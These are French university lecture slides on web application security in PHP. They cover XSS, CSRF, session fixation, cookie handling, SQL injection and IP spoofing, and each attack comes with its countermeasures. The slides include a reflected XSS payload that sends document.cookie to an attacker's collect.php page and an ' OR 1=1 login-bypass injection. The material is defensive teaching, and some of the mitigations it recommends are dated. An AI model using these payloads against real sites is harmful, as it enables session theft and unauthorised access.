Xavier Tannier Yann Jacob Sécurite Web

Programmation Web / Bases de Données Sécurité Généralités 80 % des sites contiennent au moins une faille de sécurité 24 familles de failles différentes : on ne présente ici que les plus courantes Le code source nest pas forcément la seule cause : un site web est un mélange complexe de plusieurs applications (base de données, code PHP, JavaScript, fichiers de configuration, configuration réseau, SSL, etc.) 2

Programmation Web / Bases de Données Sécurité Généralités réseau Le firewall nautorise que les communications sur certains ports (par exemple, 80 pour HTTP), sur certains paquets ou pour certaines applications … mais il faut quand même ouvrir le réseau pour pouvoir communiquer, ce qui reste une source de failles Crypter les transactions par le protocole TLS (anciennement SSL), pour protéger : token de session, mot de passe, cookies, etc. Attaques de type Deny-of-Service (DOS) : prévoir des délais et les seuils, ex. 5 minutes dattente après 3 échecs didentification 3

Programmation Web / Bases de Données Sécurité Généralités code Tout code mort, commentaire, fichier inutile, donne des indices sur larchitecture du site et sont une source de vulnérabilité Moins on en dit, mieux cest : par exemple il vaut mieux utiliser POST (qui néanmoins ne procure aucune sécurité) que GET qui permet de voir et modifier les paramètres directement dans lURL Toutes les données reçues de lextérieur peuvent être dangereuses et doivent toujours être validées 4

Programmation Web / Bases de Données Sécurité XSS : cross site scripting Exemple Formulaire GET qui transmet le paramètre name Résultat de la requête: Hello! Coucou Le pirate Bienvenue chez nous !... (affiche le nom de lutilisateur) 5

Programmation Web / Bases de Données Sécurité XSS : cross site scripting Que se passe-t-il si on tape lURL: alert(document.cookie)</scripthttp:// alert(document.cookie) Résultat: Hello! Coucou alert(document.cookie) Bienvenue chez nous !... Affiche une fenêtre contenant les cookies de lutilisateur ! Une attaque réelle va voler les cookies : window.open(" om/collect.php?cookie="%2Bdocument.cookie)</scripthttp:// window.open(" om/collect.php?cookie="%2Bdocument.cookie) 6

Programmation Web / Bases de Données Sécurité XSS : cross site scripting Que se passe-t-il si on utilise POST à la place de GET dans lexemple précédent ? A-t-on enfin un site sécurisé? 7 On peut créer une page simulant le formulaire Site attaqué Site pirate Formulaire on peut envoyer les valeurs que lon veut Formulaire modifié envoi de données sécurisées

Programmation Web / Bases de Données Sécurité XSS : cross site scripting Exemple: window.open(" okie="%2Bdocument.cookie) "> window.open(" okie="%2Bdocument.cookie)</script Envoie une requête HTTP avec les paramètres que lon veut (ici le script qui vole les cookies). Ni GET ni POST noffrent la moindre sécurité. POST ne permet que de rendre lattaque un peu moins triviale. Il faut dans tous les cas vérifier les données reçues. 8

Programmation Web / Bases de Données Sécurité XSS : solutions Ne pas utiliser javascript (bof…) Retirer toutes les balises ou les caractères <> Utiliser htmlspecialchars(), strip_tags(), htmlentities()… ou HTML Tidy Toujours vérifier les données venant de lutilisateur – Si vous attendez un nombre, n'acceptez rien d'autre – Si vous voulez du texte, rejetez les balises – etc. 9

Programmation Web / Bases de Données Sécurité CRSF : cross site request forgeries Ladministrateur de sitevictime.com visite sitepirate.com contenant limage suivante de taille nulle (donc invisible) La tentative dafficher limage exécute la page indiquée dans le src, avec lidentification de ladministrateur et supprime un utilisateur à linsu de ladministrateur (s'il a gardé sa session ouverte). Il existe des versions encore plus sophistiquées et moins détectables. 10

Programmation Web / Bases de Données Sécurité CRSF : solutions Utiliser le referer qui indique la page de provenance et permet de vérifier quune requête vient depuis de votre site et pas dailleurs (comme un site pirate). Problème : cest un champ envoyé par le client donc on peut le falsifier facilement… Utiliser un système de jeton unique et généré aléatoirement par la page du formulaire, transmis par un champ hidden et $_SESSION, dont on vérifie lexistence sur la page cible. Si on ne vient pas de la page du formulaire, ça bloque. 11

Programmation Web / Bases de Données Sécurité CRSF : solutions 12 <?php $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $_SESSION['token_time'] = time(); ?> " /> MemberId: <?php $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $_SESSION['token_time'] = time(); ?> " /> MemberId: <?php if ($_POST['token'] == $_SESSION['token'] && time() - $_SESSION['token_time'] <= 300) { // Action valide } ?> <?php if ($_POST['token'] == $_SESSION['token'] && time() - $_SESSION['token_time'] <= 300) { // Action valide } ?>

Programmation Web / Bases de Données Sécurité Sessions Les sessions reposent uniquement sur un identifiant : une série de 32 chiffres et lettres aléatoires Transmis soit directement soit dans lURL (en GET) ou un champ hidden (en POST) – technique trans-sid -, soit par un cookie Exemple de trans-sid: Voler lidentifiant peut permettre de se faire passer pour un autre ! 13

Programmation Web / Bases de Données Sécurité Sessions Le referer contient ladresse de provenance : un identifiant passé en GET par A peut être récupéré par B en allant dun site A vers un site B. On peut aussi envoyer un utilisateur sur un lien avec un PHPSESSID fixé que lon aura choisi au préalable : Lutilisateur utilisera la session 1234 : on peut se faire passer pour lui puisquon a choisi son PHPSESSID. Ne pas utiliser trans-sid (désactiver dans php.ini). Utiliser session_regenerate_id(). 14

Programmation Web / Bases de Données Sécurité Cookies Simple fichier texte sur la machine du client, que lon peut modifier à sa guise. Un cookie peut aussi être volé par diverses méthodes (XSS…). Ne jamais les stocker en clair, surtout les mots de passe. Même un stockage crypté est insuffisant, éviter dy stocker des données sensibles. Utiliser un système de "délogin" qui efface le cookie et un identifiant de session généré aléatoirement et utilisable une seule fois. 15

Programmation Web / Bases de Données Sécurité Injection SQL 16 On se connecte en entrant le mot de passe suivant: $password = ' OR 1=1 SELECT uid WHERE name = 'Dupont' AND password = ' $password' SELECT uid WHERE name = 'Dupont' AND password = ' ' OR 1=1 toujours vrai ! On peut se connecter comme Dupont sans connaître le password. Solution : mysql_real_escape_string() Échappe les caractères interprétés par SQL. Toujours lutiliser avant de passer un paramètre à une requête SQL.

Programmation Web / Bases de Données Sécurité Peut-on identifier un utilisateur par lIP? Adresse IP du client Se trouve dans lentête des paquets IP quil envoie (voir cours réseau). Le client peut forger facilement une entête avec une fausse adresse IP source ou usurper une identité : IP-spoofing. 17

Programmation Web / Bases de Données Sécurité Conclusion Panorama loin dêtre exhaustif. Toujours vérifier les données venant de lextérieur, en qui a priori, on ne peut avoir aucune confiance. 18